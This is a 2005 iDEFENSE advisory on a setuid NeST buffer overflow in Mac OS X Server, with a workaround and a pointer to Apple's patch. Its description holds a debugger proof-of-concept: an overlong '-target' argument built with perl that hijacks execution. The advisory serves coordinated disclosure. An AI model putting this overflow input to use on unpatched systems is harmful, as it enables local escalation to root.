Mac OS X Server NeST -target Buffer Overflow Vulnerability iDEFENSE Security Advisory 05.03.05: http://www.idefense.com/application/poi/display?id=239&type=vulnerabilit ies May 03, 2005 I. BACKGROUND Mac OS X is an advanced operating system which blends features of UNIX with the ease-of-use of the Macintosh. NetInfo is Darwin's built-in directory system. It stores administrative information in a hierarchical database of nodes called directories. NeST is the NetInfo Setup Tool. More information is available on the vendor's website: http://www.apple.com II. DESCRIPTION Local exploitation of a buffer overflow vulnerability in Apple Computer, Inc.'s Mac OS X Server default install allows attackers to execute arbitrary code. NeST is the NetInfo Setup Tool for Mac OS X. The vulnerability specifically exists due to insufficient bounds checking on the argument passed to the '-target' command line parameter. Local attackers can supply an overly long value to overflow the buffer and execute arbitrary code. The following example debugger session shows execution control when overflowing the target buffer: osx-dev:~ $ gdb -q /usr/sbin/NeST (gdb) run -target `perl -e 'print "\xbf\xff\xfe\xe4" x 800 '` Starting program: /usr/sbin/NeST -target `perl -e 'print "\xbf\xff\xfe\xe4" x 800 '` Reading symbols for shared libraries ............... done Password: 1976-04-01 08:29:04.480 NeST[3359] CFLog (0): CFPropertyListCreateFromXMLData(): plist parse failed; the data is not proper UTF-8. The file name for this data could be: Info.plist -- file://localhost/usr/sbin/ The parser will retry as in 10.2, but the problem should be corrected in the plist. Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand. 0xbffffee8 in ?? () (gdb) bt #0 0xbffffee8 in ?? () #1 0xbffffee4 in ?? () III. ANALYSIS Successful exploitation of this vulnerability will result in execution of arbitrary code with root privileges. The vulnerability itself is a textbook stack overflow and is trivially exploitable. This binary does not ship by default with the standard install of Mac OS X, so only OS X Server platforms are affected. IV. DETECTION iDEFENSE has confirmed that Apple Computer, Inc.'s Mac OS X Server 10.3.7 is vulnerable. All versions of OS X Server are suspected to be vulnerable. V. WORKAROUND As a workaround solution, remove the setuid bit from the NeST binary until the vendor releases a patch. VI. VENDOR RESPONSE The vulnerability is addressed in Apple Security Update 2005-005: http://docs.info.apple.com/article.html?artnum=301528 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0594 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 02/28/2005 Initial vendor notification 02/28/2005 Initial vendor response 05/03/2005 Coordinated public disclosure IX. CREDIT Nico is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice@xxxxxxxxxxxx for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.